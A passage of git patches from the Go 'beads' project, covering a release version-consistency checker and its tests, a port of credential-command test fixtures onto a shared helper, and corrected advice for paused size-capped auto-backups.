*expectedVersionValue) Set(candidate string) error { + if value.specified { + return fmt.Errorf("--expect may be specified only once") + } + value.specified = true + if candidate == "" { + return fmt.Errorf("--expect requires a non-empty VERSION") + } + value.value = candidate + return nil +} + +func run( + args []string, + start string, + stdout, stderr io.Writer, + checkUVLock versioncheck.UVLockChecker, +) int { + flags := flag.NewFlagSet("check-versions", flag.ContinueOnError) + flags.SetOutput(stderr) + var expected expectedVersionValue + flags.Var( + &expected, + "expect", + "require the canonical release version to equal this exact value", + ) + if err := flags.Parse(args); err != nil { + return 2 + } + if flags.NArg() != 0 { + fmt.Fprintln(stderr, "usage: scripts/check-versions.sh [--expect VERSION]") + return 2 + } + root, found, err := versioncheck.FindRoot(start) + if err != nil { + fmt.Fprintf(stderr, "Cannot identify Beads release root: %v\n", err) + return 1 + } + if !found { + fmt.Fprintln(stderr, "Cannot identify a Beads source repository from the current directory") + return 1 + } + report, err := versioncheck.Check(root) + printReport(stdout, report) + if err != nil { + fmt.Fprintf(stderr, "\n%s❌ %v%s\n", red, err, reset) + if report.CanonicalVersion != "" { + fmt.Fprintf( + stderr, + "Run: scripts/update-versions.sh %s\nOr manually update the mismatched files.\n", + report.CanonicalVersion, + ) + } + return 1 + } + if expected.specified && report.CanonicalVersion != expected.value { + fmt.Fprintf( + stderr, + "Canonical release version %s does not match required version %s\n", + report.CanonicalVersion, + expected.value, + ) + // Distinct from status 1: the release surfaces agree with each other, + // only the required version differs. Callers such as the release-tag + // pre-push hook must not answer this with the version-drift remedy. + return 3 + } + if checkUVLock != nil { + available, checkErr := checkUVLock(root) + if available && checkErr != nil { + fmt.Fprintln( + stderr, + red+"❌ MCP uv.lock: stale — run: uv lock --directory integrations/beads-mcp"+reset, + ) + return 1 + } + if available { + fmt.Fprintln(stdout, green+"✓ MCP uv.lock: fresh (uv lock --check)"+reset) + } + } + fmt.Fprintf( + stdout, + "\n%s✓ Version files in sync at: %s%s\n", + green, + report.CanonicalVersion, + reset, + ) + // The checker reads no documentation surface, so it must not imply one. + fmt.Fprintln(stdout, " (Version files only — this script does not check docs. The docs") + fmt.Fprintln(stdout, " release line and docs/cli-docs.pin are manual release steps; see") + fmt.Fprintln(stdout, " RELEASING.md.)") + return 0 +} + +func printReport(output io.Writer, report versioncheck.Report) { + if report.CanonicalVersion == "" { + return + } + fmt.Fprintf(output, "Canonical version (from version.go): %s\n\n", report.CanonicalVersion) + for _, item := range report.Sources { + switch { + case item.Problem == "": + fmt.Fprintf(output, "%s✓ %s: %s%s\n", green, item.Description, item.Version, reset) + case item.Version != "": + fmt.Fprintf( + output, + "%s❌ %s: %s (expected %s)%s\n", + red, + item.Description, + item.Version, + item.Expected, + reset, + ) + default: + fmt.Fprintf( + output, + "%s❌ %s: %s (expected %s)%s\n", + red, + item.Description, + item.Problem, + item.Expected, + reset, + ) + } + } +} diff --git a/scripts/check-versions/main_test.go b/scripts/check-versions/main_test.go new file mode 100644 index 000000000..0167b661f --- /dev/null +++ b/scripts/check-versions/main_test.go @@ -0,0 +1,228 @@ +package main + +import ( + "bytes" + "errors" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/versioncheck" +) + +func TestRunExpectedVersionContract(t *testing.T) { + root := writeReleaseFixture(t, "1.1.0") + + tests := []struct { + name string + args []string + wantCode int + wantStdout string + wantStderr string + }{ + { + name: "aligned version", + args: []string{"--expect", "1.1.0"}, + wantCode: 0, + wantStdout: "✓ Version files in sync at: 1.1.0", + }, + { + name: "mismatched version", + args: []string{"--expect", "9.9.9"}, + wantCode: 3, + wantStdout: "Canonical version (from version.go): 1.1.0", + wantStderr: "Canonical release version 1.1.0 does not match required version 9.9.9", + }, + { + name: "empty version", + args: []string{"--expect="}, + wantCode: 2, + wantStderr: "--expect requires a non-empty VERSION", + }, + { + name: "duplicate version", + args: []string{"--expect", "1.1.0", "--expect", "1.1.0"}, + wantCode: 2, + wantStderr: "--expect may be specified only once", + }, + { + name: "unknown argument", + args: []string{"--unknown"}, + wantCode: 2, + wantStderr: "flag provided but not defined: -unknown", + }, + { + name: "positional argument", + args: []string{"1.1.0"}, + wantCode: 2, + wantStderr: "usage: scripts/check-versions.sh [--expect VERSION]", + }, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + var stdout bytes.Buffer + var stderr bytes.Buffer + code := run( + test.args, + root, + &stdout, + &stderr, + func(string) (bool, error) { return false, nil }, + ) + + if code != test.wantCode { + t.Fatalf( + "exit code = %d, want %d\nstdout:\n%s\nstderr:\n%s", + code, + test.wantCode, + stdout.String(), + stderr.String(), + ) + } + if test.wantStdout != "" && !strings.Contains(stdout.String(), test.wantStdout) { + t.Fatalf("stdout = %q, want substring %q", stdout.String(), test.wantStdout) + } + if test.wantStdout == "" && stdout.Len() != 0 { + t.Fatalf("stdout = %q, want empty", stdout.String()) + } + if !strings.Contains(stderr.String(), test.wantStderr) { + t.Fatalf("stderr = %q, want substring %q", stderr.String(), test.wantStderr) + } + if test.wantStderr == "" && stderr.Len() != 0 { + t.Fatalf("stderr = %q, want empty", stderr.String()) + } + }) + } +} + +func TestRunPreservesOptionalUVLockFreshnessCheck(t *testing.T) { + root := writeReleaseFixture(t, "1.1.0") + for _, test := range []struct { + name string + check versioncheck.UVLockChecker + wantCode int + wantStdout string + wantStderr string + }{ + { + name: "fresh", + check: func(string) (bool, error) { + return true, nil + }, + wantCode: 0, + wantStdout: "✓ MCP uv.lock: fresh (uv lock --check)", + }, + { + name: "stale", + check: func(string) (bool, error) { + return true, errors.New("stale") + }, + wantCode: 1, + wantStderr: "❌ MCP uv.lock: stale", + }, + } { + t.Run(test.name, func(t *testing.T) { + var stdout bytes.Buffer + var stderr bytes.Buffer + code := run(nil, root, &stdout, &stderr, test.check) + if code != test.wantCode { + t.Fatalf("exit code = %d, want %d", code, test.wantCode) + } + if !strings.Contains(stdout.String(), test.wantStdout) { + t.Fatalf("stdout = %q, want substring %q", stdout.String(), test.wantStdout) + } + if !strings.Contains(stderr.String(), test.wantStderr) { + t.Fatalf("stderr = %q, want substring %q", stderr.String(), test.wantStderr) + } + if test.wantCode != 0 && strings.Contains( + stdout.String(), + "Version files in sync at:", + ) { + t.Fatal("stale uv.lock emitted a success result") + } + }) + } +} + +func TestRunRejectsTrackedHookMarkerMismatch(t *testing.T) { + root := writeReleaseFixture(t, "1.1.0") + if err := os.WriteFile( + filepath.Join(root, ".githooks", "pre-push"), + []byte( + "# --- BEGIN BEADS INTEGRATION v1.1.0 ---\n"+ + "body\n# --- END BEADS INTEGRATION v9.9.9 ---\n", + ), + 0o755, + ); err != nil { + t.Fatal(err) + } + + var stdout bytes.Buffer + var stderr bytes.Buffer + code := run(nil, root, &stdout, &stderr, nil) + if code != 1 { + t.Fatalf("exit code = %d, want 1", code) + } + if !strings.Contains( + stdout.String(), + ".githooks/pre-push END marker: 9.9.9 (expected 1.1.0)", + ) { + t.Fatalf("stdout = %q, want tracked-hook mismatch", stdout.String()) + } + if !strings.Contains( + stderr.String(), + ".githooks/pre-push END marker: 9.9.9 (expected 1.1.0)", + ) { + t.Fatalf("stderr = %q, want tracked-hook mismatch summary", stderr.String()) + } + if strings.Contains(stdout.String(), "Version files in sync at:") { + t.Fatal("tracked-hook mismatch emitted a success result") + } +} + +func writeReleaseFixture(t *testing.T, version string) string { + t.Helper() + + root := t.TempDir() + // The Windows PE numeric fields must be purely numeric, so they carry the + // prerelease-stripped form. + base, _, _ := strings.Cut(version, "-") + files := map[string]string{ + "go.mod": "module github.com/steveyegge/beads\n\ngo 1.26\n", + "cmd/bd/version.go": "package main\n\nvar Version = \"" + version + "\"\n", + "scripts/update-versions.sh": "#!/bin/sh\n", + "integrations/beads-mcp/pyproject.toml": "[project]\nversion = \"" + + version + "\"\n", + "integrations/beads-mcp/src/beads_mcp/__init__.py": "__version__ = \"" + + version + "\"\n", + "plugins/beads/.claude-plugin/plugin.json": `{"version":"` + version + `"}`, + "plugins/beads/.codex-plugin/plugin.json": `{"version":"` + version + `"}`, + ".claude-plugin/marketplace.json": `{"plugins":[{"version":"` + + version + `"}]}`, + "npm-package/package.json": `{"version":"` + version + `"}`, + "plugins/beads/.copilot-plugin/plugin.json": `{"version":"` + version + `"}`, + "cmd/bd/winres/winres.json": `{"RT_VERSION":{"#1":{"0000":{` + + `"fixed":{"file_version":"` + base + `","product_version":"` + base + `"},` + + `"info":{"0409":{"FileVersion":"` + version + + `","ProductVersion":"` + version + `"}}}}}}`, + "cmd/bd/winres/manifest.xml": "\n" + + "\n \n\n", + "integrations/beads-mcp/uv.lock": "version = 1\nrevision = 3\n\n" + + "[[package]]\nname = \"beads-mcp\"\nversion = \"" + version + "\"\n", + ".githooks/pre-push": "# --- BEGIN BEADS INTEGRATION v" + version + " ---\n" + + "body\n# --- END BEADS INTEGRATION v" + version + " ---\n", + } + for relativePath, content := range files { + path := filepath.Join(root, filepath.FromSlash(relativePath)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatalf("create parent for %s: %v", relativePath, err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatalf("write %s: %v", relativePath, err) + } + } + return root +} diff --git a/scripts/check-versions/pre_push_hook_test.go b/scripts/check-versions/pre_push_hook_test.go new file mode 100644 index 000000000..a417fb0ed --- /dev/null +++ b/scripts/check-versions/pre_push_hook_test.go @@ -0,0 +1,83 @@ +package main + +import ( + "errors" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" +) + +// The repository hook must keep ordinary pushes working under macOS's system +// Bash 3.2. In particular, nounset treats an empty array as unset there. +func TestPrePushHookOrdinaryPushWorksWithSystemBash(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Windows does not provide the oldest supported /bin/bash") + } + + const bash = "/bin/bash" + if _, err := os.Stat(bash); err != nil { + t.Skipf("system Bash unavailable: %v", err) + } + + repoRoot := bazeltest.RepoRoot(t) + hook := filepath.Join(repoRoot, ".githooks", "pre-push") + + command := exec.Command(bash, hook, "origin", "https://example.invalid/repo.git") + command.Dir = repoRoot + command.Env = append(os.Environ(), "PATH=/bin") + command.Stdin = strings.NewReader( + "refs/heads/main 1111111111111111111111111111111111111111 " + + "refs/heads/main 0000000000000000000000000000000000000000\n", + ) + if output, err := command.CombinedOutput(); err != nil { + t.Fatalf("ordinary pre-push hook under %s: %v\n%s", bash, err, output) + } + + // Keep the shell entrypoint's status contract covered on the oldest Bash, + // alongside the ordinary-push compatibility that brought us here. + // + // Unlike the ordinary push above, the entrypoint builds the Go checker from + // source at the repository root, so it needs a full module checkout there. + // Under Bazel the tree the test sees is its runfiles, which holds only the + // declared data and no go.mod, so the wrapper could only ever report its + // build failure (127); `go test` runs against the real checkout. The guard + // sits inside each subtest, not above the loop, so that the ordinary-push + // assertion above still reports as run rather than hiding behind a skip. + for _, tc := range []struct { + name string + args []string + code int + }{ + {"unknown option", []string{"--unknown"}, 2}, + {"positional argument", []string{"unexpected"}, 2}, + {"version mismatch", []string{"--expect", "0.0.0-checker-test"}, 3}, + } { + t.Run(tc.name, func(t *testing.T) { + if bazeltest.IsBazel() { + t.Skip("entrypoint builds from source: needs the real module checkout, not runfiles") + } + scratch := t.TempDir() + t.Setenv("TMPDIR", scratch) + checker := filepath.Join(repoRoot, "scripts", "check-versions.sh") + cmd := exec.Command(bash, append([]string{checker}, tc.args...)...) + cmd.Dir = repoRoot + output, err := cmd.CombinedOutput() + var exit *exec.ExitError + if !errors.As(err, &exit) || exit.ExitCode() != tc.code { + t.Fatalf("entrypoint status = %v, want %d: %s", err, tc.code, output) + } + if strings.Contains(string(output), "exit status ") { + t.Fatalf("launcher added its own exit diagnostic: %s", output) + } + entries, err := os.ReadDir(scratch) + if err != nil || len(entries) != 0 { + t.Fatalf("checker temporary files remain: %v, %v", entries, err) + } + }) + } +} From e87aceedf9d643221c8c1f28bd1389e07d7a18c0 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 08:03:19 -0700 Subject: [PATCH 040/325] test(init): port gateway credential fixtures onto shared credentialcmd (#7056) #5725 gave the cmd/bd init gateway credential fixtures a private helper protocol. While it was queued, #5749 landed internal/testutil/credentialcmd for the same production shell boundary, leaving two parallel implementations: the same emit/exit-23/marker operations, the same exit-97 malformed sentinel and the same Windows .cmd trampoline. They had already drifted. The private copy claims a process on an env var alone, with no argv sentinel, and its command text is stable rather than unique per call, although the production credential cache is keyed on that text. Port cmd/bd onto the shared fixture, as internal/creds and internal/storage/dolt already use it: - TestMain claims helper processes with credentialcmd.Dispatch() before any suite setup, and calls credentialcmd.Cleanup() after the suite. - AdoptsToken, SkipsEmbeddedMode, FailsClosed and PresetWins build their commands with credentialcmd.Emit/Exit23/Marker and check non-invocation with credentialcmd.AssertMarkerAbsent. Their assertions are unchanged. - The private protocol, its constants and TestApplyInitGatewayCredentialHelperProtocol, which tested only that protocol, are removed. credentialcmd's own TestProtocol covers the shared one and already runs natively on Windows in pr.yml. - The native driver's fixture list drops the removed test, and bd_test gains the //internal/testutil/credentialcmd dep (gazelle agrees). Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- cmd/bd/BUILD.bazel | 1 + cmd/bd/init_gateway_test.go | 256 +-------------------- cmd/bd/test_repo_beads_guard_test.go | 10 +- scripts/ci/test-init-gateway-credential.sh | 3 +- 4 files changed, 17 insertions(+), 253 deletions(-) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 243834a47..0e22add77 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1285,6 +1285,7 @@ go_test( "//internal/telemetry", "//internal/testutil", "//internal/testutil/bazeltest", + "//internal/testutil/credentialcmd", "//internal/timeparsing", "//internal/tracker", "//internal/types", diff --git a/cmd/bd/init_gateway_test.go b/cmd/bd/init_gateway_test.go index dbb729f6f..15117abf4 100644 --- a/cmd/bd/init_gateway_test.go +++ b/cmd/bd/init_gateway_test.go @@ -3,256 +3,16 @@ package main import ( "context" "errors" - "fmt" - "io" - "os" "os/exec" "path/filepath" - "runtime" "strings" "testing" "github.com/steveyegge/beads/internal/storage/dolt" + "github.com/steveyegge/beads/internal/testutil/credentialcmd" "github.com/steveyegge/beads/issueops" ) -const ( - initGatewayHelperProcessEnv = "BEADS_TEST_INTERNAL_INIT_GATEWAY_HELPER" - initGatewayHelperExecutableEnv = "BEADS_TEST_INTERNAL_INIT_GATEWAY_HELPER_EXE" - initGatewayHelperMarkerEnv = "BEADS_TEST_INTERNAL_INIT_GATEWAY_MARKER" - initGatewayHelperTargetEnv = "BEADS_TEST_INTERNAL_INIT_GATEWAY_HELPER_TARGET" - initGatewayHelperMalformedExit = 97 -) - -// runInitGatewayCredentialHelper dispatches an opt-in subprocess before the -// package's ordinary TestMain setup. This keeps credential fixture processes -// from starting Dolt, changing HOME, or allocating the cmd/bd suite's shared -// resources. The -- separator prevents the test harness from interpreting the -// helper protocol as test flags. -func runInitGatewayCredentialHelper() (int, bool) { - if os.Getenv(initGatewayHelperProcessEnv) != "1" { - return 0, false - } - - separator := -1 - for i, arg := range os.Args { - if arg == "--" { - separator = i - break - } - } - if separator < 0 { - fmt.Fprintln(os.Stderr, "init gateway credential helper: missing -- separator") - return initGatewayHelperMalformedExit, true - } - args := os.Args[separator+1:] - - switch { - case len(args) == 2 && args[0] == "emit": - _, _ = io.WriteString(os.Stdout, args[1]) - return 0, true - case len(args) == 2 && args[0] == "exit" && args[1] == "23": - return 23, true - case len(args) == 1 && args[0] == "marker": - marker := os.Getenv(initGatewayHelperMarkerEnv) - if marker == "" { - fmt.Fprintln(os.Stderr, "init gateway credential helper: marker path is empty") - return initGatewayHelperMalformedExit, true - } - if err := os.WriteFile(marker, []byte("invoked"), 0o600); err != nil { - fmt.Fprintf(os.Stderr, "init gateway credential helper: write marker: %v\n", err) - return initGatewayHelperMalformedExit, true - } - return 0, true - default: - fmt.Fprintf(os.Stderr, "init gateway credential helper: malformed arguments: %q\n", args) - return initGatewayHelperMalformedExit, true - } -} - -func initGatewayCredentialCommand(t *testing.T, args ...string) string { - t.Helper() - - shell := "sh" - if runtime.GOOS == "windows" { - shell = "cmd.exe" - } - shellPath, err := exec.LookPath(shell) - if err != nil { - t.Fatalf("resolve production credential shell %q: %v", shell, err) - } - shellPath, err = filepath.Abs(shellPath) - if err != nil { - t.Fatalf("resolve absolute credential shell path: %v", err) - } - shellDir := filepath.Dir(shellPath) - isolatedShellPath := shellPath - if runtime.GOOS != "windows" { - shellDir = filepath.Join(t.TempDir(), "credential shell only") - if err := os.MkdirAll(shellDir, 0o755); err != nil { - t.Fatalf("create isolated credential shell directory: %v", err) - } - isolatedShellPath = filepath.Join(shellDir, shell) - // Execute the original system shell: macOS AMFI may kill a copied sh. - // An absolute symlink keeps it usable from the restricted PATH. - if err := os.Symlink(shellPath, isolatedShellPath); err != nil { - t.Fatalf("link original credential shell: %v", err) - } - } - - helperDir := filepath.Join(t.TempDir(), "credential helper with spaces") - if err := os.MkdirAll(helperDir, 0o755); err != nil { - t.Fatalf("create credential helper directory: %v", err) - } - helperName := "credential-helper" - if runtime.GOOS == "windows" { - helperName += ".cmd" - } - helperPath := filepath.Join(helperDir, helperName) - currentExecutable, err := os.Executable() - if err != nil { - t.Fatalf("resolve current test executable: %v", err) - } - if runtime.GOOS == "windows" { - trampoline := "@echo off\r\n\"%" + initGatewayHelperTargetEnv + "%\" %*\r\nexit /b %errorlevel%\r\n" - if err := os.WriteFile(helperPath, []byte(trampoline), 0o600); err != nil { - t.Fatalf("write credential helper trampoline: %v", err) - } - t.Setenv(initGatewayHelperTargetEnv, currentExecutable) - } else { - installInitGatewayExecutable(t, currentExecutable, helperPath) - } - if !strings.Contains(helperPath, " ") { - t.Fatalf("credential helper path does not exercise quoting: %q", helperPath) - } - - // Keep only the shell that production requires. Unix links the original - // sh. Windows keeps the resolved system cmd.exe in place to avoid a - // suspicious copied-system-binary/copied-PE process chain. - t.Setenv("PATH", shellDir) - resolvedShell, err := exec.LookPath(shell) - if err != nil { - t.Fatalf("resolve credential shell from isolated PATH: %v", err) - } - if runtime.GOOS == "windows" { - resolvedInfo, err := os.Stat(resolvedShell) - if err != nil { - t.Fatalf("stat resolved credential shell: %v", err) - } - wantInfo, err := os.Stat(shellPath) - if err != nil { - t.Fatalf("stat production credential shell: %v", err) - } - if !os.SameFile(resolvedInfo, wantInfo) { - t.Fatalf("credential shell resolved outside restricted PATH: got %q, want %q", resolvedShell, shellPath) - } - for _, forbidden := range []string{"printf", "false"} { - if path, err := exec.LookPath(forbidden); err == nil { - t.Fatalf("ambient fixture utility %q remains available at %q", forbidden, path) - } - } - } else if filepath.Clean(resolvedShell) != filepath.Clean(isolatedShellPath) { - t.Fatalf("credential shell resolved outside isolated PATH: got %q, want %q", resolvedShell, isolatedShellPath) - } - t.Setenv(initGatewayHelperProcessEnv, "1") - - executable := `"$` + initGatewayHelperExecutableEnv + `"` - if runtime.GOOS == "windows" { - // Let cmd.exe expand the quotes as part of the variable value. Passing - // literal quotes inside exec.Command's single /C argument makes Go's - // Windows argv encoder escape them for CommandLineToArgvW, which is not - // cmd.exe's parser and leaves backslashes in the command token. - t.Setenv(initGatewayHelperExecutableEnv, `"`+helperPath+`"`) - executable = `%` + initGatewayHelperExecutableEnv + `%` - } else { - t.Setenv(initGatewayHelperExecutableEnv, helperPath) - } - return executable + " -test.run=NoTestsMatchInitGatewayCredentialHelper -- " + strings.Join(args, " ") -} - -func installInitGatewayExecutable(t *testing.T, source, destination string) { - t.Helper() - - if err := os.Link(source, destination); err == nil { - return - } - // This fallback copies only the Unix test image, never the system shell. - // Windows uses a trampoline to its original test image instead. - input, err := os.Open(source) - if err != nil { - t.Fatalf("open current test executable: %v", err) - } - defer input.Close() - output, err := os.OpenFile(destination, os.O_CREATE|os.O_EXCL|os.O_WRONLY, 0o755) - if err != nil { - t.Fatalf("create credential helper executable: %v", err) - } - if _, err := io.Copy(output, input); err != nil { - _ = output.Close() - t.Fatalf("copy credential helper executable: %v", err) - } - if err := output.Close(); err != nil { - t.Fatalf("close credential helper executable: %v", err) - } - if err := os.Chmod(destination, 0o755); err != nil { - t.Fatalf("make credential helper executable: %v", err) - } -} - -func assertInitGatewayCredentialMarkerAbsent(t *testing.T, marker string) { - t.Helper() - if _, err := os.Stat(marker); err == nil { - t.Fatalf("credential command ran unexpectedly and wrote %q", marker) - } else if !os.IsNotExist(err) { - t.Fatalf("inspect credential marker %q: %v", marker, err) - } -} - -func TestApplyInitGatewayCredentialHelperProtocol(t *testing.T) { - helperPath, err := os.Executable() - if err != nil { - t.Fatalf("resolve current test executable: %v", err) - } - - helperCommand := func(args ...string) *exec.Cmd { - commandArgs := append([]string{"-test.run=NoTestsMatchInitGatewayCredentialHelper", "--"}, args...) - cmd := exec.Command(helperPath, commandArgs...) - cmd.Env = append(os.Environ(), initGatewayHelperProcessEnv+"=1") - return cmd - } - - output, err := helperCommand("emit", "tok-init").Output() - if err != nil { - t.Fatalf("emit helper: %v", err) - } - if got := string(output); got != "tok-init" { - t.Fatalf("emit helper stdout = %q, want exact no-newline token", got) - } - - output, err = helperCommand("unknown").CombinedOutput() - var exitErr *exec.ExitError - if !errors.As(err, &exitErr) || exitErr.ExitCode() != initGatewayHelperMalformedExit { - t.Fatalf("malformed helper exit = %v, output=%q; want %d", err, output, initGatewayHelperMalformedExit) - } - if !strings.Contains(string(output), "malformed arguments") { - t.Fatalf("malformed helper diagnostic = %q", output) - } - - marker := filepath.Join(t.TempDir(), "helper-invoked") - markerCommand := helperCommand("marker") - markerCommand.Env = append(markerCommand.Env, initGatewayHelperMarkerEnv+"="+marker) - if output, err = markerCommand.CombinedOutput(); err != nil { - t.Fatalf("marker helper: %v, output=%q", err, output) - } - markerContent, err := os.ReadFile(marker) - if err != nil { - t.Fatalf("read helper marker: %v", err) - } - if got := string(markerContent); got != "invoked" { - t.Fatalf("helper marker = %q, want invoked", got) - } -} - // Gateway mode: a configured credential command resolves its token into the // connection username, marks the config as targeting a gateway server, and // disables local auto-start (the gateway is externally managed). This is what @@ -260,7 +20,7 @@ func TestApplyInitGatewayCredentialHelperProtocol(t *testing.T) { // store skip the SHOW/CREATE DATABASE probe (openServerConnection keys that on // cfg.Gateway). ServerMode is set because gateway init always targets a server. func TestApplyInitGatewayCredentialAdoptsToken(t *testing.T) { - t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", initGatewayCredentialCommand(t, "emit", "tok-init")) + t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", credentialcmd.Emit(t, "tok-init")) doltCfg := &dolt.Config{ServerMode: true, AutoStart: true} want := *doltCfg want.ServerUser = "tok-init" @@ -282,8 +42,7 @@ func TestApplyInitGatewayCredentialAdoptsToken(t *testing.T) { // open"), so init must too. The marker helper makes non-invocation observable. func TestApplyInitGatewayCredentialSkipsEmbeddedMode(t *testing.T) { marker := filepath.Join(t.TempDir(), "credential-invoked") - t.Setenv(initGatewayHelperMarkerEnv, marker) - t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", initGatewayCredentialCommand(t, "marker")) + t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", credentialcmd.Marker(t, marker)) doltCfg := &dolt.Config{AutoStart: true} // ServerMode defaults to false want := *doltCfg if err := applyInitGatewayCredential(context.Background(), t.TempDir(), doltCfg); err != nil { @@ -292,7 +51,7 @@ func TestApplyInitGatewayCredentialSkipsEmbeddedMode(t *testing.T) { if *doltCfg != want { t.Fatalf("embedded config = %+v, want untouched %+v", *doltCfg, want) } - assertInitGatewayCredentialMarkerAbsent(t, marker) + credentialcmd.AssertMarkerAbsent(t, marker) } // Server mode, but no command configured: a strict no-op. The hand-built config is @@ -312,7 +71,7 @@ func TestApplyInitGatewayCredentialNoopWithoutCommand(t *testing.T) { // Fail-closed: in server mode a configured-but-failing command aborts init and // never leaves a fallback (root) user behind. func TestApplyInitGatewayCredentialFailsClosed(t *testing.T) { - t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", initGatewayCredentialCommand(t, "exit", "23")) + t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", credentialcmd.Exit23(t)) doltCfg := &dolt.Config{ServerMode: true, AutoStart: true} want := *doltCfg err := applyInitGatewayCredential(context.Background(), t.TempDir(), doltCfg) @@ -332,8 +91,7 @@ func TestApplyInitGatewayCredentialFailsClosed(t *testing.T) { // command is not run). Mirrors ApplyGatewayCredential's preset short-circuit. func TestApplyInitGatewayCredentialPresetWins(t *testing.T) { marker := filepath.Join(t.TempDir(), "credential-invoked") - t.Setenv(initGatewayHelperMarkerEnv, marker) - t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", initGatewayCredentialCommand(t, "marker")) + t.Setenv("BEADS_DOLT_CREDENTIAL_COMMAND", credentialcmd.Marker(t, marker)) doltCfg := &dolt.Config{ServerMode: true, ServerUser: "preset", AutoStart: true} want := *doltCfg if err := applyInitGatewayCredential(context.Background(), t.TempDir(), doltCfg); err != nil { @@ -342,7 +100,7 @@ func TestApplyInitGatewayCredentialPresetWins(t *testing.T) { if *doltCfg != want { t.Fatalf("preset config = %+v, want untouched %+v", *doltCfg, want) } - assertInitGatewayCredentialMarkerAbsent(t, marker) + credentialcmd.AssertMarkerAbsent(t, marker) } // issue_prefix resolution. diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index 21a379433..3857d8fc1 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -13,6 +13,7 @@ import ( "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/migration" "github.com/steveyegge/beads/internal/testutil" + "github.com/steveyegge/beads/internal/testutil/credentialcmd" ) // beforeTestsHook is set by CGO-tagged test files to perform setup before tests run @@ -64,11 +65,16 @@ const suiteRootPrefix = "beads-bd-tests-" // Guardrail: ensure the cmd/bd test suite does not touch the real repo .beads state. // Disable with BEADS_TEST_GUARD_DISABLE=1 (useful when running tests while actively using beads). func TestMain(m *testing.M) { - if code, ok := runInitGatewayCredentialHelper(); ok { + if code, ok := credentialcmd.Dispatch(); ok { os.Exit(code) } // Delegate to testMainInner so defers run before os.Exit. - os.Exit(testMainInner(m)) + code := testMainInner(m) + if err := credentialcmd.Cleanup(); err != nil { + fmt.Fprintf(os.Stderr, "credential command fixture cleanup: %v\n", err) + code = 1 + } + os.Exit(code) } func testMainInner(m *testing.M) int { diff --git a/scripts/ci/test-init-gateway-credential.sh b/scripts/ci/test-init-gateway-credential.sh index 2eff22111..1050552b6 100755 --- a/scripts/ci/test-init-gateway-credential.sh +++ b/scripts/ci/test-init-gateway-credential.sh @@ -39,7 +39,6 @@ host_info="$("$go_executable" env GOHOSTOS GOOS)" # This single list owns both test selection and required execution evidence. expected=( - TestApplyInitGatewayCredentialHelperProtocol TestApplyInitGatewayCredentialAdoptsToken TestApplyInitGatewayCredentialSkipsEmbeddedMode TestApplyInitGatewayCredentialNoopWithoutCommand @@ -47,7 +46,7 @@ expected=( TestApplyInitGatewayCredentialPresetWins ) # ...which makes the array the only wiring between a fixture and native -# execution, with nothing tying it back to the source file. A seventh +# execution, with nothing tying it back to the source file. A new # TestApplyInitGatewayCredential* fixture added later would fall out of the # selector, lose macOS/Windows execution entirely, and still leave this driver # exiting 0 with the required gate green — the exact "green because nothing ran" From 8adcd25992349dafd2e2cb767fa1764d0cba1631 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 08:05:46 -0700 Subject: [PATCH 041/325] fix(backup): point the size-cap pause advice at levers that end it (#7074) The PAUSED warning, the `bd backup status` PAUSED line, CHANGELOG and configuration.md told operators to switch to a fresh destination with `bd backup init `. That never ends the pause: backupDir() reads only backup.git-repo, while `bd backup init` registers the separate destination that manual `bd backup sync` pushes to, so auto-backup keeps targeting the over-cap directory and stays paused. Name the two levers that do end it: raise backup.size-cap-mb, or point backup.git-repo at a different git repository. Also correct the backup.git-repo row in configuration.md, which called it a repo URL although backupDir() requires a local path containing .git (anything else falls back to .beads/backup/), so the new advice is actionable. TestPauseAutoBackupForSizeCap_RemediationAdvice and the status PAUSED line now require backup.git-repo and reject `bd backup init`. TestMaybeAutoBackup_RemediationLevers runs all three for real: raising the cap and switching backup.git-repo each resume a sync, while `bd backup init` leaves auto-backup paused. Post-merge review follow-up to #6071. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 4 +- cmd/bd/backup_cap.go | 15 +++- cmd/bd/backup_cap_test.go | 151 +++++++++++++++++++++++++++++++- cmd/bd/backup_status_test.go | 20 ++++- docs/reference/configuration.md | 4 +- 5 files changed, 183 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 89e60d86f..e38cae372 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -182,7 +182,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 advice no longer suggests deleting the backup directory — nothing guarantees a deleted destination is cleanly recreated by the next sync, and the server-side backup remote stays registered against that path; it now - points at `backup.size-cap-mb` / `bd backup init ` instead. The + points at raising `backup.size-cap-mb` or pointing `backup.git-repo` at a + different git repository instead — not `bd backup init`, which configures + manual `bd backup sync`'s destination and leaves auto-backup paused. The size-cap check itself runs after both the interval throttle and change detection, so it costs nothing on any path that is not about to sync — an idle workspace never reaches it at all, and a paused destination re-arms diff --git 